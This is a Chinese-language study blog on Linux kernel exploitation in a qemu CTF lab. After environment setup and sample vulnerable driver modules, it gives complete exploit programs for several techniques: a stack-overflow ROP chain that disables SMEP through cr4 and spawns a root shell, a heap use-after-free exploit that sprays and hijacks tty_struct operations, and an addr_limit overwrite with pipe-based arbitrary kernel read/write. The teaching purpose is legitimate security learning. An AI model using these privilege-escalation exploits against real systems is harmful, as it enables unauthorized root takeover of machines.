Linux kernel pwn notes(內核漏洞利用學習)


前言

對這段時間學習的 linux 內核中的一些簡單的利用技術做一個記錄,如有差錯,請見諒。

相關的文件

https://gitee.com/hac425/kernel_ctf

相關引用已在文中進行了標注,如有遺漏,請提醒。

環境搭建

對於 ctf 中的 pwn 一般都是給一個 linux 內核文件 和一個 busybox 文件系統,然后用 qemu 啟動起來。而且我覺得用 qemu 調試時 gdb 的反應比較快,也沒有一些奇奇怪怪的問題。所以推薦用 qemu 來調,如果是真實漏洞那 vmware 雙機調試肯定是逃不掉的 (:_。

編譯內核

首先去 linux 內核的官網下載 內核源代碼

https://mirrors.edge.kernel.org/pub/linux/kernel/

我用的 ubuntu 16.04 來編譯內核,默認的 gcc 比較新,所以編譯了 4.4.x 版本,免得換 gcc

安裝好一些編譯需要的庫

apt-get install libncurses5-dev build-essential kernel-package

進入內核源代碼目錄

make menuconfig

配置一下編譯參數,注意就是修改下面列出的一些選項 (沒有的選項就不用管了

由於我們需要使用kgdb調試內核,注意下面這幾項一定要配置好:
KernelHacking -->

  • 選中Compile the kernel with debug info
  • 選中Compile the kernel with frame pointers
  • 選中KGDB:kernel debugging with remote gdb,其下的全部都選中。

Processor type and features-->

  • 去掉Paravirtualized guest support

KernelHacking-->

  • 去掉Write protect kernel read-only data structures(否則不能用軟件斷點)

參考

Linux內核調試

編譯 busybox && 構建文件系統

編譯 busybox

啟動內核還需要一個簡單的文件系統和一些命令,可以使用 busybox 來構建

首先下載,編譯 busybox

cd ..
wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 # 建議改成最新的 busybox 
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig  
make install

編譯的一些配置

make menuconfig 設置

Busybox Settings -> Build Options -> Build Busybox as a static binary 編譯成 靜態文件

關閉下面兩個選項

Linux System Utilities -> [] Support mounting NFS file system 網絡文件系統
Networking Utilities -> [] inetd (Internet超級服務器)

構建文件系統

編譯完,、make install 后, 在 busybox 源代碼的根目錄下會有一個 _install 目錄下會存放好編譯后的文件。

然后配置一下

cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS

就是創建一些目錄,然后創建 etc/init.d/rcS 作為 linux 啟動腳本, 內容為

#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s

記得加上 x 權限,允許腳本的執行。

配置完后的目錄結構

image.png

然后調用

find . | cpio -o --format=newc > ../rootfs.img

創建文件系統

接着就可以使用 qemu 來運行內核了。

qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1234

對一些選項解釋一下

-cpu kvm64,+smep,+smap 設置 CPU 的安全選項, 這里開啟了 smapsmep

-kernel 設置內核 bzImage 文件的路徑

-initrd 設置剛剛利用 busybox 創建的 rootfs.img ,作為內核啟動的文件系統

-gdb tcp::1234 設置 gdb 的調試端口 為 1234

參考

Linux內核漏洞利用(一)環境配置

內核模塊創建與調試

創建內核模塊

在學習階段還是自己寫點簡單 內核模塊 (驅動) 來練習比較好。這里以一個簡單的用於測試 通過修改 thread_info->addr_limit 來提權 的模塊為例

首先是源代碼程序 arbitrarily_write.c

#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include<linux/slab.h>
#include<linux/string.h>

struct class *arw_class;
struct cdev cdev;
char *p;
int arw_major=248;

struct param
{
    size_t len;
    char* buf;
    char* addr;
};

char buf[16] = {0};

long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

    struct param par;
    struct param* p_arg;
    long p_stack;
    long* ptr;
    struct thread_info * info;
    copy_from_user(&par, arg, sizeof(struct param));
    
    int retval = 0;
    switch (cmd) {
        case 8:
            printk("current: %p, size: %d, buf:%p\n", current, par.len, par.buf);
            copy_from_user(buf, par.buf, par.len);
            break;
        case 7:
            printk("buf(%p), content: %s\n", buf, buf);
            break;
        case 5:
            p_arg = (struct param*)arg;
            p_stack = (long)&retval;
            p_stack = p_stack&0xFFFFFFFFFFFFC000;
            info = (struct thread_info * )p_stack;
            
            printk("addr_limit's addr: 0x%p\n", &info->addr_limit);
            memset(&info->addr_limit, 0xff, 0x8);
            // 返回 thread_info 的地址, 模擬信息泄露
            put_user(info, &p_arg->addr);
            break;

        case 999:
            p = kmalloc(8, GFP_KERNEL);
            printk("kmalloc(8) : %p\n", p);
            break;
        case 888://數據清零
            kfree(p);
            printk("kfree : %p\n", p);
            break;
        default:
            retval = -1;
            break;
    }

    return retval;
}

static const struct file_operations arw_fops = {
    .owner = THIS_MODULE,
    .unlocked_ioctl = arw_ioctl,//linux 2.6.36內核之后unlocked_ioctl取代ioctl
};

static int arw_init(void)
{
    //設備號
    dev_t devno = MKDEV(arw_major, 0);
    int result;

    if (arw_major)//靜態分配設備號
        result = register_chrdev_region(devno, 1, "arw");
    else {//動態分配設備號
        result = alloc_chrdev_region(&devno, 0, 1, "arw");
        arw_major = MAJOR(devno);
    }
    // 打印設備號
    printk("arw_major /dev/arw: %d", arw_major);

    if (result < 0)
        return result;

    arw_class = class_create(THIS_MODULE, "arw");
    device_create(arw_class, NULL, devno, NULL, "arw");

    cdev_init(&cdev, &arw_fops);
    cdev.owner = THIS_MODULE;
    cdev_add(&cdev, devno, 1);
    printk("arw init success\n");
    return 0;
}

static void arw_exit(void)
{
    cdev_del(&cdev);
    device_destroy(arw_class, MKDEV(arw_major, 0));
    class_destroy(arw_class);
    unregister_chrdev_region(MKDEV(arw_major, 0), 1);
    printk("arw exit success\n");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");

module_init(arw_init);
module_exit(arw_exit);

注冊了一個 字符設備, 設備文件路徑為 /dev/arw, 實現了 arw_ioctl 函數,用戶態可以通過 ioctl 和這個函數進行交互。

qemu 中創建設備文件,貌似不會幫我們自動創建設備文件,需要手動調用 mknod 創建設備文件,此時需要設備號,於是在注冊驅動時把拿到的 主設備號 打印了出來, 次設備號 從 0 開始試 。創建好設備文件后要設置好權限,使得普通用戶可以訪問。

然后是測試代碼(用戶態調用)test.c

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
    size_t len;
    char* buf;
    char* addr;
};


int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/arw", O_RDWR);
    if (fd == -1) {
        printf("open hello device failed!\n");
        return -1;
    }
    struct param p;
    p.len = 8;
    p.buf = malloc(32);
    strcpy(p.buf, "hello");
    ioctl(fd, 8, &p);
    ioctl(fd, 7, &p);

    return 0;
}

打開設備文件,然后使用 ioctl 和剛剛驅動進行交互。

接下來是Makefile

obj-m := arbitrarily_write.o
KERNELDIR := /home/haclh/linux-4.1.1
PWD := $(shell pwd) 
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symvers
 
modules:
	$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
	gcc -static test.c -o test
 
clean:
	rm -rf $(OUTPUT)
	rm -rf test

test.c 要靜態編譯, busybox 編譯的文件系統,沒有 libc.

KERNELDIR 改成 內核源代碼的根目錄。

同時還創建了一個腳本用於在 qemu 加載的系統中,加載模塊,創建設備文件,新增測試用的普通用戶。

mknod.sh

mkdir /home
mkdir /home/hac425
touch /etc/passwd
touch /etc/group
adduser hac425
insmod arbitrarily_write.ko
mknod /dev/arw c 248 0
chmod 777 /dev/arw 
cat /proc/modules

mknod 命令的參數根據實際情況進行修改

為了方便對代碼進行修改,寫了個 shell 腳本,一件完成模塊和測試代碼的編譯、 rootfs.img 的重打包 和 qemu 運行。

start.sh

PWD=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ~/busybox-1.27.1/_install/{*.ko,test}
cp mknod.sh test *.ko ~/busybox-1.27.1/_install/
cd ~/busybox-1.27.1/_install/
rm ~/linux-4.1.1/rootfs.img
find . | cpio -o --format=newc > ~/linux-4.1.1/rootfs.img
cd $PWD
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep --nographic -gdb tcp::1234

image.png

然后 ./start.sh,就可以運行起來了。

image.png

進入系統后,首先使用 mknod.sh 安裝模塊,創建好設備文件等操作,然后切換到一個普通用戶,執行 test 測試驅動是否正常。對比源代碼,可以判斷驅動是正常運行的

gdb調試

qemu 運行內核時,加了一個 -gdb tcp::1234 的參數, qemu 會在 1234 端口起一個 gdb_server ,我們直接用 gdb 連上去即可。

image.png

記得加載 vmlinux 文件,以便在調試的時候可以有調試符號。

為了調試內核模塊,還需要加載 驅動的 符號文件,首先在系統里面獲取驅動的加載基地址。

/ # cat /proc/modules | grep arb
arbitrarily_write 2168 0 - Live 0xffffffffa0000000 (O)
/ # 

然后在 gdb 里面加載

gef➤  add-symbol-file ~/kernel/arbitrarily_write/arbitrarily_write.ko 0xffffffffa0000000
add symbol table from file "/home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko" at
	.text_addr = 0xffffffffa0000000
Reading symbols from /home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko...done.
gef➤  

此時就可以直接對驅動的函數下斷點了

b arw_ioctl

然后運行測試程序 ( test ),就可以斷下來了。

image.png

利用方式匯總

內核 Rop

Rop-By-棧溢出

本節的相關文件位於 kmod

准備工作

開始打算直接用

https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric

里面給的內核鏡像,發現有些問題。於是自己編譯了一個 linux 4.4.72 的鏡像,然后自己那他的源碼編譯了驅動。

默認編譯驅動開了棧保護,懶得重新編譯內核了,於是直接 在 驅動里面 patch 掉了 棧保護的檢測代碼。

image.png

漏洞

漏洞位於 vuln_write 函數

static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char buffer[100]={0};

  if (_copy_from_user(buffer, buf, len))
    return -EFAULT;
  buffer[len-1]='\0';

  printk("[i] Module vuln write: %s\n", buffer);

  strncpy(buffer_var,buffer,len);

  return len;
}
 

可以看到 _copy_from_user 的參數都是我們控制的,然后把內容讀入了棧中的 buffer, 簡單的棧溢出。

把驅動拖到 ida 里面,發現沒有開啟 cancary , 同時 buffer 距離 返回地址的 偏移為 0x7c

image.png

所以只要讀入超過 0x7c 個字節的數據就可以覆蓋到 返回地址,控制 rip

利用

如果沒有開啟任何保護的話,直接把返回地址改成用戶態的 函數,然后調用

commit_creds(prepare_kernel_cred(0))

就可以完成提權了。

可以參考: Linux內核漏洞利用(三)Kernel Stack Buffer Overflow

秉着學習的態度,這里我開了 smep 。 這個安全選項的作用是禁止內核去執行用戶空間的代碼

但是我們依舊可以執行內核的代碼 ,於是在內核 進行 ROP

ROP的話有兩種思路

  1. 利用 ROP ,執行 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回用戶空間。
  2. 利用 ROP 關閉 smep , 然后進行 ret2user 攻擊。
利用 rop 直接提權

此時布置的 rop 鏈 類似下面

image.png

就是 調用 commit_creds(prepare_kernel_cred(0)) , 然后 iret 返回到用戶空間。

參考

入門學習linux內核提權

利用 rop 關閉 smep && ret2user

系統根據 cr4 寄存器的值判斷是否開啟 smep, 然而 cr4 寄存器可以使用 mov 指令進行修改,於是事情就變得簡單了,利用 rop 設置 cr40x6f0 (這個值可以通過用 cr4原始值 & 0xFFFFF 得到), 然后 iret 到用戶空間去執行提權代碼。

gdb 中貌似看不到 cr4 寄存器,可以從 內核的崩潰信息里面獲取 開啟 smep 下的 cr4 寄存器值

exp:

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
 
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

// 兩個函數的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;

unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b;  //pop rbp, ret


unsigned long mmap_base = 0xb0000000;

void get_shell() {
    system("/bin/sh");
}


void get_root() {
    commit_creds(prepare_kernel_cred(0));
}

/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0\n" // mov rcx, cs
        "movq %%ss, %1\n" // mov rdx, ss
        "pushfq\n"        // 把rflags的值壓棧
        "popq %2\n"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}



int main(void)
{
    int fd;
    char buf[16];

    fd = open("/dev/vuln", O_RDWR);
    if (fd == -1) {
        printf("open /dev/vuln device failed!\n");
        return -1;
    }

    save_stats();
    printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    // 布局 rop 鏈
    unsigned long rop_chain[] = {
        pop_rdi_ret,
        0x6f0,
        rdi_to_cr4, // cr4 = 0x6f0
        mmap_base + 0x10000,
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        mmap_base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        mmap_base + 0x10000,
        user_ss
    };


    char * payload = malloc(0x7c + sizeof(rop_chain));
    memset(payload, 0xf1, 0x7c + sizeof(rop_chain));
    memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));
    write(fd, payload, 0x7c + sizeof(rop_chain));
    return 0;
}

說說 rop 鏈

  • 首先使用 pop rdi && mov cr4,rdi ,修改 cr4寄存器,關掉 smep
  • 然后 ret2user 去執行用戶空間的 get_root 函數,執行 commit_creds(prepare_kernel_cred(0)) 完成提權
  • 然后 swapgsiret 返回用戶空間,起一個 root 權限的 shell

參考

Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric

Rop-By-Heap-Vulnerability

漏洞

首先放源碼,位於 heap_bof

驅動的代碼基本差不多,區別點主要在 ioctl

char *ptr[40];  // 指針數組,用於存放分配的指針
struct param
{
    size_t len;    // 內容長度
    char* buf;     // 用戶態緩沖區地址
    unsigned long idx; // 表示 ptr 數組的 索引
};
............................
............................
............................
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{

    struct param* p_arg;
    p_arg = (struct param*)arg;
    int retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg->buf, ptr[p_arg->idx], p_arg->len);
            printk("copy_to_user: 0x%x\n", *(long *)ptr[p_arg->idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg->idx], p_arg->buf, p_arg->len);
            break;
        case 7:
            kfree(ptr[p_arg->idx]);
            printk("free: 0x%p\n", ptr[p_arg->idx]);
            break;
        case 5:
            ptr[p_arg->idx] = kmalloc(p_arg->len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2x\n", ptr[p_arg->idx], p_arg->len);
            break;

        default:
            retval = -1;
            break;
    }

    return retval;
}

首先定義了一個 指針數組 ptr[40] ,用於存放分配的內存地址的指針

實現了驅動的 ioctl 接口來向用戶態提供服務。

  • cmd5 時,根據參數調用 kmalloc 分配內存,然后把分配好的指針,存放在 ptr[p_arg->idx], 為了調試的方便,打印了分配到的內存指針
  • cmd7 時,釋放掉 ptr 數組中指定項的指針, kfree 之后沒有對 ptr 中的指定項置0
  • cmd8 時,往 ptr 數組中 指定項的指針中寫入 數據,長度不限.
  • cmd9 時, 獲取 指定項 的指針 里面的 數據,然后拷貝到用戶空間。

驅動的漏洞還是很明顯的, 堆溢出 以及 UAF .

利用

slub簡述

要進行利用的話還需要了解 內核的內存分配策略。

linux 內核 2.26 以上的版本,默認使用 slub 分配器進行內存管理。slub 分配器按照零售式的內存分配。他會把大小相近的對象(分配的內存)放到同一個 slab 中進行分配。

它首先向系統分配一個大的內存,然后把它分成大小相等的內存塊進行內存的分配,同時在分配內存時會對分配的大小 向上取整分配。

可以查看 /proc/slabinfo 獲取當前系統 的 slab 信息

image.png

這里介紹下 kmalloc-xxx ,這些 slab 用於給 kmalloc 進行內存分配。 假如要分配 0x2e0 ,向上取整就是 kmalloc-1024 所以實際會使用 kmalloc-1024 分配 1024 字節的內存塊。

而且 slub 分配內存不像 glibc 中的mallocslub 分配的內存的首部是沒有元數據的(如果內存塊處於釋放狀態的話會有一個指針,指向下一個 free 的塊)。

所以如果分配幾個大小相同的內存塊, 它們會緊密排在一起(不考慮內存碎片的情況)。

給個例子(詳細代碼可以看最后的 exp )

    struct param p;
    p.len = 0x2e0;
    p.buf = malloc(p.len);
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }

這一小段代碼的作用是 通過 ioctl 讓驅動調用10kmalloc(0x2e0, GFP_KERNEL),驅動打印出的分配的地址如下

[    7.095323] alloc: 0xffff8800027ee800, size: 2e0
[    7.101074] alloc: 0xffff8800027ef000, size: 2e0
[    7.107161] alloc: 0xffff8800027ef400, size: 2e0
[    7.111211] alloc: 0xffff8800027ef800, size: 2e0
[    7.115165] alloc: 0xffff8800027efc00, size: 2e0
[    7.131237] alloc: 0xffff880002791c00, size: 2e0
[    7.138591] alloc: 0xffff880003604000, size: 2e0
[    7.141208] alloc: 0xffff880003604400, size: 2e0
[    7.146466] alloc: 0xffff880003604800, size: 2e0
[    7.154290] alloc: 0xffff880003604c00, size: 2e0

可以看到除了第一個(內存碎片的原因),其他分配到的內存的地址相距都是 0x400, 這說明內核實際給我的空間是 0x400 .

盡管我們要分配的是 0x2e0 ,實際內核會把大小向上取整 到 0x400

參考

linux 內核 內存管理 slub算法 (一) 原理

代碼執行

對於堆溢出和 UAF 漏洞,其實利用思路都差不多,就是想辦法修改一些對象的數據,來達到提權的目的,比如改函數表指針然后執行代碼提權, 修改 cred 結構體直接提權等。

這里介紹通過修改 tty_struct 中的 ops 來進行 rop 繞過 smep 提權的技術。

結構體定義在 linux/tty.h

struct tty_struct {
        int     magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;

        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;

        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;

其中有一個 ops 項(64bit 下位於 結構體偏移 0x18 處)是一個 struct tty_operations * 結構體。 它里面都是一些函數指針,用戶態可以通過一些函數觸發這些函數的調用。

open("/dev/ptmx",O_RDWR|O_NOCTTY) 內核會分配 tty_struct 結構體,64 位下改結構體的大小為 0x2e0(可以自己編譯一個同版本的內核,然后在 gdb 里面看),所以實現代碼執行的思路就很簡單了

  • 通過 ioctl 讓驅動分配若干個 0x2e0 的 內存塊
  • 釋放其中的幾個,然后調用若干次 open("/dev/ptmx",O_RDWR|O_NOCTTY) ,會分配若干個 tty_struct , 這時其中的一些 tty_struct 會落在 剛剛釋放的那些內存塊里面
  • 利用 驅動中 的 uaf 或者 溢出,修改 修改 tty_structops 到我們 mmap 的一塊空間,進行 tty_operations 的偽造, 偽造 ops->ioctl 為 要跳轉的位置。
  • 然后 對 /dev/ptmx 的文件描述符,進行 ioctl ,實現代碼執行
rop

因為開啟了 smep 所以需要先 使用 rop 關閉 smep, 然后在 執行 commit_creds(prepare_kernel_cred(0)) 完成提權。

這里有一個小 tips ,通過 tty_struct 執行 ioctl 時, rax 的值正好是 rip 的值,然后使用 xchg eax,esp;ret 就可以把 rsp 設置為 rax&0xffffffff (其實就是 &ops->ioctl 的低四個字節)。

於是 堆漏洞的 rop 思路如下(假設 xchg_eax_espxchg eax,esp 指令的地址 )

  • 首先使用 mmap, 分配 xchg_eax_esp&0xffffffff 作為 fake_stack 並在這里布置好 rop
  • 修改 ops->ioctlxchg_eax_esp
  • 觸發 ops->ioctl , 然后會跳轉到 xchg_eax_esp ,此時 rax=rip=xchg_eax_esp , 執行 xchg eax,esp 后 rsp為 xchg_eax_esp&0xffffffff, 之后就是 根據 事先布置好的 rop chain 進行 rop 了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
    struct file *filp, int idx);
    int (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int (*write)(struct tty_struct * tty,
    const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int (*write_room)(struct tty_struct *tty);
    int (*chars_in_buffer)(struct tty_struct *tty);
    int (*ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
    unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
    struct serial_icounter_struct *icount);
    const struct file_operations *proc_fops;
};

struct param
{
    size_t len;
    char* buf;
    unsigned long idx;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 兩個函數的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;  // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b;  //pop rbp, ret
void get_shell() {
    system("/bin/sh");
}
void get_root() {
    commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
    asm(
        "movq %%cs, %0\n" // mov rcx, cs
        "movq %%ss, %1\n" // mov rdx, ss
        "pushfq\n"        // 把rflags的值壓棧
        "popq %2\n"       // pop rax
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
        );
}
int main(void)
{
    int fds[10];
    int ptmx_fds[0x100];
    char buf[8];
    int fd;

    unsigned long mmap_base = xchg_eax_esp & 0xffffffff;

    struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

    memset(fake_tty_operations, 0, sizeof(struct tty_operations));
    fake_tty_operations->ioctl = (unsigned long) xchg_eax_esp; // 設置tty的ioctl操作為棧轉移指令
    fake_tty_operations->close = (unsigned long)xchg_eax_esp;

    for (int i = 0; i < 10; ++i)
    {
        fd = open("/dev/bof", O_RDWR);
        if (fd == -1) {
            printf("open bof device failed!\n");
            return -1;
        }
        fds[i] = fd;
    }

   printf("%p\n", fake_tty_operations);

    save_stats();
    printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
    // 布局 rop 鏈
    unsigned long rop_chain[] = {
        pop_rdi_ret,
        0x6f0,
        rdi_to_cr4, // cr4 = 0x6f0
        mmap_base + 0x10000,
        (unsigned long)get_root,
        swapgs, // swapgs; pop rbp; ret
        mmap_base,   // rbp = base
        iretq,
        (unsigned long)get_shell,
        user_cs,
        user_rflags,
        mmap_base + 0x10000,
        user_ss
    };
    // 觸發漏洞前先把 rop 鏈拷貝到 mmap_base
    memcpy(mmap_base, rop_chain, sizeof(rop_chain));

    struct param p;
    p.len = 0x2e0;
    p.buf = malloc(p.len);

    // 讓驅動分配 10 個 0x2e0  的內存塊
    for (int i = 0; i < 10; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 5, &p);  // malloc
    }
    // 釋放中間的幾個
    for (int i = 2; i < 6; ++i)
    {
        p.idx = i;
        ioctl(fds[i], 7, &p); // free
    }

    // 批量 open /dev/ptmx, 噴射 tty_struct
    for (int i = 0; i < 0x100; ++i)
    {
        ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
        if (ptmx_fds[i]==-1)
        {
            printf("open ptmx err\n");
        }
    }
    p.idx = 2;
    p.len = 0x20;
    ioctl(fds[4], 9, &p);

    // 此時如果釋放后的內存被 tty_struct
    // 占用,那么他的開始字節序列應該為
    //
    for (int i = 0; i < 16; ++i)
    {
        printf("%2x ", p.buf[i]);
    }
    printf("\n");
    // 批量修改 tty_struct 的 ops 指針 
    unsigned long *temp = (unsigned long *)&p.buf[24];
    *temp = (unsigned long)fake_tty_operations;
    for (int i = 2; i < 6; ++i)
    {
        p.idx = i;
        ioctl(fds[4], 8, &p);
    }
    // getchar();
    for (int i = 0; i < 0x100; ++i)
    {
        ioctl(ptmx_fds[i], 0, 0);
    }
    getchar();
    return 0;
}

參考

一道簡單內核題入門內核利用

利用 thread_info->addr_limit

DEMO

這里使用的代碼就是 內核模塊創建與調試 中的示例代碼。

代碼中大部分都是用來測試一些內核函數,其中對本節內容有效的代碼為:

long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    .....................
    .....................
    .....................
    switch (cmd) {
        .....................
        .....................
        .....................
        case 5:
            p_arg = (struct param*)arg;
            p_stack = (long)&retval;
            p_stack = p_stack&0xFFFFFFFFFFFFC000;
            info = (struct thread_info * )p_stack;
            
            printk("addr_limit's addr: 0x%p\n", &info->addr_limit);
            memset(&info->addr_limit, 0xff, 0x8);
            // 返回 thread_info 的地址, 模擬信息泄露
            put_user(info, &p_arg->addr);
            break;

利用棧地址拿到 thread_info 的地址

首先模擬了一個內核的信息泄露。

利用 程序的局部變量的地址 (&retval) 獲得內核棧的地址。又因為 thread_info 位於內核棧頂部而且是 8k (或者 4k ) 對齊的

union thread_union {
      struct thread_info thread_info;
      unsigned long stack[THREAD_SIZE/sizeof(long)];
};

image.png

所以利用 棧地址 & (~(THREAD_SIZE - 1)) 就可以計算出 thread_info 的地址。

THREAD_SIZE 可以為 4k , 8k 或者是 16k

可以在 Linux 源代碼 里面搜索。

x86_64 定義在 arch/x86/include/asm/page_64_types.h

#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif

#define THREAD_SIZE_ORDER	(2 + KASAN_STACK_ORDER)
#define THREAD_SIZE  (PAGE_SIZE << THREAD_SIZE_ORDER)// 左移 2, 頁大小為 4k, 所以是 16k
#define CURRENT_MASK (~(THREAD_SIZE - 1))

PAGE_SIZE4096 , THREAD_SIZE_ORDER2 , 所以 THREAD_SIZE= 4 * 4096=0x4000

所以 (~(THREAD_SIZE - 1))

>>> hex(~(0x4000-1)&0xffffffffffffffff)
'0xffffffffffffc000L'

所以 thread_info 的地址就是 p_stack&0xFFFFFFFFFFFFC000 , 然后利用 put_user 傳遞給 用戶態。

修改 thread_info->addr_limit

thread_info->addr_limit 用於限制用戶態程序能訪問的地址的最大值,如果把它修改成 0xffffffffffffffff ,我們就可以讀寫整個內存空間了 包括 內核空間


struct thread_info {
	struct task_struct	*task;		/* main task structure */
	__u32			flags;		/* low level flags */
	__u32			status;		/* thread synchronous flags */
	__u32			cpu;		/* current CPU */
	mm_segment_t		addr_limit;
	unsigned int		sig_on_uaccess_error:1;
	unsigned int		uaccess_err:1;	/* uaccess failed */
};

thread_info 偏移 0x18 (64位)處就是 addr_limit , 它的類型為 long

在驅動的源碼中,模擬修改 了 thread_info->addr_limit 的操作,

memset(&info->addr_limit, 0xff, 0x8);

執行完后,我們就可以讀寫任意內存了。

利用 pipe 實現任意地址讀寫

修改 thread_info->addr_limit 后,我們還不能直接的進行任意地址讀寫,需要使用 pipe 來中轉一下,具體的原因以后再研究。

int pipefd[2];
//dest 數據的寫入位置, src 數據來源, size 大小
int kmemcpy(void *dest, void *src, size_t size)
{
    write(pipefd[1], src, size);
    read(pipefd[0], dest, size);
    return size;
}

先用 pipe(pipefd) 初始化好 pipefd , 然后使用 kmemcpy 就可以實現任意地址讀寫了。

如果是泄露內核數據的話, dest 為 內核地址, src 為 內核地址,同時要關閉 smap

